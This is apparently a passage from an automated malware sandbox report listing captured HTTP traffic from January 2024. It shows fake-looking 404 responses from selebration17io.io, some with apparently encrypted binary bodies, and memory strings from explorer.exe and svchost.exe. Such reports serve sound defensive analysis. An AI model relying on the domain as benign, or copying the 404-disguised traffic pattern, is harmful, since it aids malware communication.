6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 65 6c 65 62 72 61 74 69 6f 6e 31 37 69 6f 2e 69 6f 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at selebration17io.io Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Sun, 07 Jan 2024 04:29:47 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 66 36 36 0d 0a 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 9d 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 8b bf 6a c6 ca 05 11 fc 48 37 f0 c6 f6 c7 35 f3 73 07 03 d2 ff f9 f6 fb eb b2 b9 71 cd 4f 2a 33 d1 60 73 45 7c 1f 57 44 13 7f a7 3c 50 15 51 fe 08 82 a0 7f 18 66 7d 28 2a a7 6a dd d6 bc db 43 15 5c 53 a6 cd f6 4d 55 60 91 54 5b fd 55 19 d0 ed e5 69 b1 17 20 58 4a 33 4f 62 3e 17 21 4b df a3 06 83 3a 56 2f cb 00 23 be 52 15 d7 17 53 53 fa cb 1f 9e 12 09 52 2b e5 8d 83 7b 7e 45 f7 ff 28 1a 4c db 8f 0d 13 13 bf be f8 92 cc 0d 4f c5 03 a1 cb a1 61 7e de f5 69 b9 19 17 7e 5f af 9a a5 84 d0 a0 cd b9 dd 7a 0b 07 57 19 fc 2c 95 a9 18 1a f5 96 be 25 51 61 9a d4 3e 7c 88 28 c8 48 6b a1 c0 4a 9a 03 fd ec 9e aa 7b ac 87 2f bd 61 0d c0 5d bf 46 34 fd f8 12 4c 33 6c 21 7c 0a 8d c7 fd e4 0e a4 eb 7e 71 e3 a0 f5 1a 20 9b 4a d8 19 ae cc 4f 3b 79 82 ae b2 e3 67 34 01 56 ad f3 f3 4c 33 b9 72 ce cc 23 b2 0d 17 31 79 90 90 f7 df f5 ec e7 72 2b 4c 80 d0 12 f9 13 43 11 bb b6 81 43 4f 55 b7 69 b7 9f db cc cc 46 d9 e8 0c ac af ed d9 55 3d d5 a3 68 92 0e ff 9d 7f 7f 55 40 57 64 7b 39 26 e7 ac c4 06 f6 27 2c 18 f8 c7 9b 88 e7 3d 66 f1 4a 7d b1 1d 32 12 51 8c f0 0e 4b 81 6b df 8e 82 01 e8 e4 1f 5e a1 90 0e a1 54 17 a5 8e b7 1b 6f c3 cb 29 32 28 e7 5b 1e 54 ab 1e a6 ea 08 ee c3 ce 57 a3 04 1d 85 1f d6 5c 6d 91 2c db 03 f1 f0 61 af 03 5a e5 1f e4 97 7d 10 99 9c 8b de b0 93 49 98 8a 4b 72 66 74 f9 50 6d 43 cc b9 8b 8b e1 62 7a d7 9c 88 c3 e0 2b a9 b4 bb 01 7a 17 28 d2 ae 46 1f d0 a1 aa 7a 8f f6 6b e3 e3 f8 64 37 00 86 cb 1e c9 20 f3 78 72 ef 3f be 15 45 cd 4b 3f f4 56 7e 4d a0 5a d4 11 eb ac 8c 5c 6e 0f ca 80 b4 35 2e 9f 9c e4 ec 27 98 c3 b3 27 a8 ca d4 5d 52 52 43 9c 5f 29 62 0a 3a 1d f8 6a aa ae 88 c1 c4 a1 33 25 7d da a9 c3 e8 c8 2f c8 9f 19 e8 8b 29 1c a8 65 a9 77 b3 04 b9 81 19 01 88 b9 9b df 18 97 52 b9 c1 ea 9e 13 e8 b8 4c 45 e1 f0 73 88 43 d9 ed f9 bc 53 dc 22 9e 8b 18 57 df 0d 7c 42 46 86 96 7f d8 b0 27 9d df 69 42 56 60 e8 9e 73 0f 3b 65 a2 25 3b 78 60 38 4b 5f d6 a6 bd 78 fe b1 b6 01 6d 18 5e 0a 7c e9 f3 32 62 c2 39 16 12 39 75 e8 17 14 b4 25 ae df 4d 1b fb 10 54 5a 17 24 e7 a5 e9 4c 1b 4e 11 b4 e5 f9 e4 39 0a 02 6e f1 fd 60 1a 23 6a da 24 eb 53 72 5e 35 32 b5 01 82 9d 35 c3 01 69 44 46 7a 43 bc e9 56 63 93 45 e1 3d 0f 2b 63 68 06 73 10 3a 99 89 ef f5 fe d6 a4 23 c8 15 c5 8d 4a a7 94 85 65 69 1d d4 de af 84 ed 47 e7 a2 3a 84 92 3c a2 e3 86 98 42 66 d2 1f b6 bc ac f5 50 24 d1 e4 e5 e0 c5 95 3f 9f ad aa 7a 65 fa 8e 57 90 ae 0f 27 e9 dd 9a ac aa e5 be 48 63 3c ce f9 9f 82 a4 94 8d bf b0 a
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Sun, 07 Jan 2024 04:29:57 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 65 6c 65 62 72 61 74 69 6f 6e 31 37 69 6f 2e 69 6f 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at selebration17io.io Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Sun, 07 Jan 2024 04:29:57 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 65 6c 65 62 72 61 74 69 6f 6e 31 37 69 6f 2e 69 6f 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at selebration17io.io Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Sun, 07 Jan 2024 04:29:57 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 66 36 36 0d 0a 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 35 8f e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 12 90 d0 72 0b 0f c6 1b a7 5f 3d d7 7b cc e1 14 ea 67 d3 34 93 f2 0c 1d 79 d3 58 97 44 3c e7 d4 c2 c3 60 a2 fd 14 83 a3 d9 9e 6b da df 3e 85 19 5c 54 6e 99 94 6d e9 cf 7e f1 bb 3b 65 b5 0f a4 45 2a 83 40 41 fd 99 b2 56 e6 83 bd 71 5e cd 37 c4 70 a0 57 96 29 8c ad 1a 3a b5 d8 91 2a df bd 8a 73 42 dc 96 34 1f e7 e5 cd 97 f3 5d 0c 87 b4 77 c0 ca 79 59 02 86 cc 7f f9 5e 9d f2 4e 23 18 e2 f9 7e 3c 48 06 c7 f4 32 15 a2 75 a8 03 9b 22 99 d5 1d 47 ed 75 0a 12 3b d0 7a 7f f3 54 7b 7d a5 44 c9 a0 c1 b9 dd 7a 5d d5 4e 19 ac 2d 93 a9 6d c5 61 f3 be 25 51 61 9a d4 3e 7c 68 28 ca 49 60 a0 ce 6e 9a ab ff ec 9e ec 12 ae 87 2f bd 61 1d 98 5c bf 46 24 fd f8 12 ac 31 6c 29 7c 4a 8d c7 ed e4 0e a4 e9 7e 71 ee 80 f4 1a 68 9b 4a d8 1c ae cd 4f 3b 79 82 ae 9c 37 6c 4e 75 52 ad f3 30 02 2e b9 70 ee 8c a2 b2 75 1e 31 79 82 90 f7 df f5 fc e7 72 3b 4c 80 d0 12 f9 13 73 11 bb d6 af 31 3c 27 d4 69 b7 9f bb 8f cf 46 bd 48 15 ac af 9b b2 57 bc 26 ba 68 92 0e ff 9d 7f 7f 55 40 57 64 7b 39 66 e7 ac 04 28 84 2e 42 23 83 c7 9b 54 ca 3e 66 c9 8a 64 b1 1d 30 12 51 8c 70 17 4b 81 6b df 8e 82 01 e8 e4 5f 70 a2 90 56 a1 54 55 b5 a3 b4 1b 2f c3 cb 29 32 28 e7 5b 1e 54 ab 1e 26 bd 13 ee 37 cf 57 a3 4c 1d 85 1f d4 5c 68 91 9c 29 06 f1 2c 5e ae 03 5b e5 1f e4 a6 7d 10 9f 3e cd bc c8 ed 07 99 8a 92 43 7d 74 79 40 6d 43 cc 11 89 8b e1 66 7a d7 9c 88 c3 e0 2b a9 b4 bb 01 7a 17 28 f2 ae 46 7f fe d3 ce 1b fb 97 6b e3 97 40 d9 37 00 40 e1 1c c9 b2 f5 52 48 68 38 96 4d cb e7 17 3f dc e5 7e 4d a6 70 d4 43 eb ac d8 58 0a 6e be e3 cf 25 2e 47 98 a6 ee 35 f8 c0 a7 0d ae ca d4 5f 17 40 43 9c 55 03 62 18 3a 1d f8 40 aa ae 88 81 c4 a1 f3 0b 0f a9 db a0 e8 c8 2f 4a 6b 09 e8 8b 53 75 ae 18 32 77 b3 0e d7 82 19 13 88 b9 8c f5 18 97 52 b9 c1 ea 9e 53 e8 b8 0c 6b 93 95 1f e2 20 d9 ed 53 aa 52 dc 1a 9e e7 1a 57 3b 01 7d 42 cd 82 96 7f d8 2e 27 9d df 3c 42 56 60 de 9e 33 0f b6 27 c4 4e 78 12 15 41 07 5f d6 26 ba 78 fe 91 e2 9a 6d 98 5c 32 d0 01 f0 32 42 c2 39 16 12 47 0b e9 17 10 8d e3 11 20 b2 7d db 10 54 5a 17 1c 5c 5a 16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 01 82 e3 92 c2 01 6d 7e d3 85 bc 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc 82 8e 82 a4 9e 9c bf cb b
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Sun, 07 Jan 2024 04:30:00 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 65 6c 65 62 72 61 74 69 6f 6e 31 37 69 6f 2e 69 6f 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at selebration17io.io Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Sun, 07 Jan 2024 04:30:00 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 32 65 0d 0a 00 00 b5 55 08 b5 79 73 2f 7e 28 10 e8 c3 a7 f7 be 60 3a 1b 81 01 c7 5b cb f7 07 a6 3b bf 29 46 16 31 e4 76 4b 6d 82 5c 2c 13 37 c1 a5 94 0d 0a 30 0d 0a 0d 0a Data Ascii: 2eUys/~(`:[;)F1vKm\,70
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Sun, 07 Jan 2024 04:30:07 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 65 6c 65 62 72 61 74 69 6f 6e 31 37 69 6f 2e 69 6f 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at selebration17io.io Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Sun, 07 Jan 2024 04:30:07 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 33 36 0d 0a 00 00 b5 55 08 b5 79 73 2f 7e 28 10 e8 c3 a7 f7 be 60 3a 15 80 16 de 1a c6 f9 10 b7 2c f0 27 49 50 31 f5 28 07 6b 81 17 26 19 7d d4 bf cb a8 c0 27 91 28 2f 40 35 0d 0a 30 0d 0a 0d 0a Data Ascii: 36Uys/~(`:,'IP1(k&}'(/@50
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Sun, 07 Jan 2024 04:30:27 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 65 6c 65 62 72 61 74 69 6f 6e 31 37 69 6f 2e 69 6f 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at selebration17io.io Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Sun, 07 Jan 2024 04:30:27 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 34 33 0d 0a 00 00 b5 55 08 b5 79 73 2f 7e 28 10 e8 c3 a7 f7 be 60 3a 48 db 45 83 1a 84 a0 4e f3 66 a3 72 1d 5a 63 a7 64 06 67 dd 00 7e 5a 28 80 af d0 ef 8c 20 c2 37 73 5e 36 b3 b6 bf f5 06 6e 92 24 2b a0 87 9b 6c 0d 0a 30 0d 0a 0d 0a Data Ascii: 43Uys/~(`:HENfrZcdg~Z( 7s^6n$+l0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Sun, 07 Jan 2024 04:30:34 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 65 6c 65 62 72 61 74 69 6f 6e 31 37 69 6f 2e 69 6f 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at selebration17io.io Port 80</address></body></html>0

Source: explorer.exe, 00000001.00000000.1695312230.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1693195889.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: Kinds.8.dr	String found in binary or memory: http://crl.globalsign.com/ca/gstsacasha384g4.crl0
Source: Kinds.8.dr	String found in binary or memory: http://crl.globalsign.com/gscodesignsha2g3.crl0
Source: Kinds.8.dr	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0G
Source: Kinds.8.dr	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0c
Source: Kinds.8.dr	String found in binary or memory: http://crl.globalsign.com/root-r6.crl0G
Source: svchost.exe, 00000020.00000002.2992819838.0000021A2B0D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: explorer.exe, 00000001.00000000.1695312230.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1693195889.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
